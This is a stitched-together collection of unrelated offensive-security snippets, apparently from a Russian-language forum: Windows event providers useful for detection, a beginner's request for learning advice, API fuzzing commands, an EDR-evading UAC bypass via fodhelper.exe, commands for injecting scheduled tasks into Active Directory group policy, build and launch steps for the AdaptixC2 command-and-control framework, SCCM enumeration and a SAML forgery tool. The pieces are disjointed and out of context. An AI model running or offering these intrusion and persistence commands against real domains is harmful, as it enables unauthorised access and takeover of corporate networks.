Microsoft-Windows-Antimalware - Threat detection events (Event ID 48)
Microsoft-Windows-Antimalware-RTP - Real-time protection events (Event IDs 27, 14)
Microsoft-Windows-LDAP-Client - LDAP search and authentication events
Microsoft-Windows-TCPIP - TCP/IP connection events
Microsoft-Windows-WMI-Activity - WMI query and execution events (Event IDs 22, 11)
Microsoft-Windows-AMSI - AMSI scan events
Microsoft-Windows-Defender - Windows Defender events (Event IDs 5000, 5001, 1116, 1117)
Microsoft-Windows-DotNETRuntime - .NET runtime events
Microsoft-Windows-Crypto-DPAPI-Events - DPAPI access events
Microsoft-Windows-Security-Auditing - Security audit events (Event ID 4688)
Microsoft-Windows-PowerShell - PowerShell commandlet and AMSI events
Microsoft-Windows-RPC - RPC function trace events (Event ID 14)
Microsoft-Windows-CodeIntegrity - Code Integrity events (Event IDs 3023, 3036, 3076, 3077)
Microsoft-Windows-AppLocker - AppLocker events (Event IDs 8003, 8004, 8006, 8007, 8021, 8022, 8024, 8025)
Microsoft-Windows-NTLM - NTLM blocking events (Event ID 8001)

Как смочь в этом направлении. Дайте дельных советов. Очень интересная тема, но где нырять в неё чтобы не слишком глубоко было. Какую литературу почитать для хорошего фундамента можно?

хотелось бы вникнуть и научится (желательно бесплатно)

с чего начать, что почитать, где посмотреть?

“I hate to report it, but the Russian underground is as strong as ever”

cats --contract=openapi.yml -H "Authorization=$token" --server=https://api-url.com -b -k

cats --contract=openapi.yaml --server=http://localhost:8080 --headers=headers.yml --refData=referenceData.yml

cats random --contract=openapi.yaml --server=http://localhost:8080 -H "API-KEY=$token" --mc 500 --path "/users/auth" -X POST --stopAfterTimeInSec 10

A chained technique has been identified that allows a local, unprivileged attacker to achieve silent privilege escalation to administrator by bypassing protections enforced by Elastic Defend v9.0.4. The method leverages a trusted auto-elevated Windows binary (fodhelper.exe) in conjunction with a registry hijack and COM object execution, resulting in arbitrary code execution at elevated privileges - without triggering a UAC prompt or EDR detection

#backup
python3 gpb.py restore backup -d 'corp.com' -o './my_backups' --dc ad01-dc.corp.com -u 'john' -p 'Password1!' -n 'TARGET_GPO'

#inject
python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'

[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "whoami > C:\Temp\poc.txt"

[MODULEFILTERS]
filters =
    [{
        "operator": "AND",
        "type": "Computer Name",
        "value": "ad01-srv1.corp.com"
    }]

GPO creation, deletion, backup and injections
Various injectable configurations, with, for each, customizable options (see list in the wiki)
Possibility to remove injected configurations from the target GPO
Possibility to revert the actions performed on client devices
GPO links manipulation
GPO enumeration / user privileges enumeration on GPOs

Server/Client Architecture for Multiplayer Support
Cross-platform GUI client
Fully encrypted communications
Listener and Agents as Plugin (Extender)
Client extensibility for adding new tools
Task and Jobs storage
Files and Process browsers
Socks4 / Socks5 / Socks5 Auth support
Local and Reverse port forwarding support
BOF support
Linking Agents and Sessions Graph
Agents Health Checker
Agents KillDate and WorkingTime control
Windows/Linux/MacOs agents support
Remote Terminal

sudo apt install mingw-w64 make

wget https://go.dev/dl/go1.24.4.linux-amd64.tar.gz -O /tmp/go1.24.4.linux-amd64.tar.gz
sudo rm -rf /usr/local/go /usr/local/bin/go
sudo tar -C /usr/local -xzf /tmp/go1.24.4.linux-amd64.tar.gz
sudo ln -s /usr/local/go/bin/go /usr/local/bin/go

sudo apt install gcc g++ build-essential cmake libssl-dev qt6-base-dev qt6-websockets-dev qt6-declarative-dev

git clone https://github.com/Adaptix-Framework/AdaptixC2.git
cd AdaptixC2
make server
make extenders
make client
cd dist
chmod +x ssl_gen.sh
./ssl_gen.sh

./adaptixserver -profile profile.json
./AdaptixClient

# Discover SCCM servers
SCML.exe --findsccmservers --domain corp.local

# List shares
SCML.exe --host sccm01 --list-shares --current-user

SAMLSmith is a C# tool for generating custom SAML responses and implementing Silver SAML and Golden SAML attacks

What started out as a GUI test and something to muck about with has sort of grown arms and legs. As it stands this is a cross platform GUI app for browsing LDAP and will direct YOLO into a Neo4J database, it comes with LDAP/LDAPS browsing capabilites, it'll run standalone and you can modify it how you like